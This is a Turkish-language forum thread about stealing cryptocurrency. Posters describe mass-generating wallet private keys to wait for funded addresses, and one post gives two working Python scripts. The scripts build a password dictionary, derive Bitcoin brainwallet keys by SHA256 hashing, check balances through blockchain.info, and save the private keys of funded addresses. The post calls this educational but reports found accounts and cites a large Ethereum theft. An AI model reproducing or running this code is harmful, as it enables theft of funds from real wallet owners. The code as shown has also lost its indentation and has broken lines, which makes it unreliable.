Ben konuyu baştan sonra okuduktan sonra bu işi başka şekilde yapmaya karar verdim.
Yeni çıkan (yaklaşık 2 ay olmuş) bir coin için oclvanitygen in kodunda değişiklik yapıyorum bir grup arkadaşımla beraber, bitmeye geldi.
Başlangıç itibariyle hedefimiz 6- 7 milyon adresi private keyleri ile birlikte üretip bir veritabanına koymak.
sonra bir otomasyon ile private keylerini zaten bildiğimiz adreslere bir tam düğüm üzerinden döne döne bakiye kontrolü yapacağız.
Bu coin popülerleştikçe elbet birileri bu cüzdan adresini üretecek.
olasılığı düşünecek olursak, biz bir grup yazılım mühendisi adayı mesleki mastürbasyon yapıyoruz sanırım.
Konu takipçilerine bir sorum var son olarak,
mysql in ırzına geçmişsiniz.
postgresql ile uğraşılmış.
peki nosql ile bu iş nasıl olur fikri olan var mı?
daha önce de yazıldığı gibi 6 7 10 milyon hatta milyarlı aralıklar çok dar bir aralık özellikle kullanımı az olan coinlerde yakalanma olasılığı imkansız demiyorum ama çok büyük şans... Kolay gelsin aynı şeyi bitcoin veya ethereum üzerinden yapılırsa daha etkili olacıktır diye düşünüyorum...
"Güncelleme olarak : Hala sayı çok büyük denk gelme ihtimali yok diyen arkadaşlara eth'da yapanlar varmış Smiley Bu Hacker Rastgele Şifre Deneyerek 7 Milyon Dolarlık Ethereum Çaldı! (okuması zor gelenlere kullanılan şifreleri deneyerek yapıyor)"EĞİTİM AMAÇLI BİLGİDİR
Bitcoin için yapılan şey... bir yazılımla (ABCDEFGHIJKLMNOPRSTUVYZWX0123456789abcdefghijklmnoprstuvyzwx_+\=-* ) karakterler ile üretilebilecek tüm şifreleri üretip bunların bakiyelerini kontrol ediyorsun ilk 4 basamaklı şifrelerin tamamı kontrol edildiğinde 500 e yakın kullanılmış hesap çıkıyor. 5 de 250 civarı bulmuştum.. 6 da 1250 civarı 7 yi ben denemedim ama birileri denemiştir
1- ÜRetilecek şifreler için; (3,3 aralığını değiştirerek örneğin 1,5 yaparsanız 1 ile 5 karakter arası bütün şifreleri yazar kodda bir eksik karakterleri tekrarlayan şifreler üretmiyor onu çözemedim
)
import itertools
def sifreolustur2(min_length,max_length,dosya_adi,deger,sayac=0):
dosya_2 = open(dosya_adi,"w")
for for1 in range(min_length , max_length+1):
c = itertools.permutations(str(deger) , for1)
for for2 in c:
line2 = "".join(str(ms) for ms in for2)
dosya_2.write(line2 + "\n")
sayac += 1
print(" {} adet olusturuldu".format(sayac))
dosya_2.close()
if __name__ == '__main__':
sifreolustur2(3,3,"dict.txt","ABCDEFGHIJKLMNOPRSTUVYZWX0123456789abcdefghijklmnoprstuvyzwx_+\=-*")
2. olarak üretilen şifrelerin taranması (ilk yazılımda ürettiğiniz şifreler dict.txt yazılır sonrasında yazılım kontrol eder)
import threading
import os
import time
import hashlib
import requests
import json
from bit import Key
from bit.format import bytes_to_wif
import traceback
def getAddress(phrases):
keyList = []
addrList = []
addrStr1 = ""
addrStr2 = ""
try:
for phrase in phrases:
sha256hex = hashlib.sha256(phrase.encode("utf-8")).hexdigest()
key1 = Key.from_hex(sha256hex)
wif = bytes_to_wif(key1.to_bytes(), compressed=False)
key2 = Key(wif)
keyList.append(sha256hex)
addrList.append(key2.address)
addrList.append(key1.address)
if len(addrStr1): addrStr1 = addrStr1 + "|"
addrStr1 = addrStr1 + key2.address
if len(addrStr2): addrStr2 = addrStr2 + "|"
addrStr2 = addrStr2 + key1.address
except:
pass
return [keyList, addrList, addrStr1, addrStr2]
def getBalances(addrStr):
balances = "security"
while True:
if "security" not in balances: break
secAddr = balances.split("effects address ")
if len(secAddr) >= 2:
secAddr = secAddr[1].split(".")[0]
addrStr = addrStr.replace(secAddr + "|", "")
addrStr = addrStr.replace("|" + secAddr, "")
try:
r = requests.get(url='
http://blockchain.info/multiaddr?active=%s' % addrStr, timeout=5)
balances = r.text
except:
return
try:
balances = json.loads(balances)
balances = balances['addresses']
except:
print (balances)
return balances
getCount = 0
fp_dict = open("dict.txt", "r")
fp_found = open("found.txt", "w+")
fp_fund = open("fund.txt", "w+")
def getWallet():
global getCount
while True:
phrases = []
try:
for i in range(128):
readStr = fp_dict.readline().replace("\r","").replace("\n","")
if not len(readStr): break
phrases.append(readStr)
except:
pass
if len(phrases) <= 0: break
addressRet = getAddress(phrases)
try:
balancesRet = getBalances(addressRet[2])
for balance in balancesRet:
getCount = getCount + 1
if balance['final_balance'] <= 0 and balance['total_sent'] <= 0: continue
key = ""
isCompress = 0
for i in range(0, len(addressRet[1])):
if balance['address'] == addressRet[1]
:
key = addressRet[0][int(i/2)]
if i % 2 == 1: isCompress = 1
break
if key == "": continue
fp_found.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
if balance['final_balance'] > 0:
fp_fund.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
print (isCompress, balance['final_balance'], balance['total_sent'], key, balance['address'])
balancesRet = getBalances(addressRet[3])
for balance in balancesRet:
getCount = getCount + 1
if balance['final_balance'] <= 0 and balance['total_sent'] <= 0: continue
key = ""
isCompress = 1
for i in range(0, len(addressRet[1])):
if balance['address'] == addressRet[1]:
key = addressRet[0][int(i/2)]
if i % 2 == 1: isCompress = 1
break
if key == "": continue
fp_found.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
if balance['final_balance'] > 0:
fp_fund.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
print (isCompress, balance['final_balance'], balance['total_sent'], key, balance['address'])
fp_found.flush()
fp_fund.flush()
except:
traceback.print_exc()
continue
#clearScreen()
print (getCount)
def clearScreen():
os.system('clear')
def main():
threads = []
for i in range(6):
threads.append(threading.Thread(target=getWallet,args=()))
for t in threads:
time.sleep(1.0)
t.start()
for t in threads:
t.join()
if __name__ == '__main__':
main()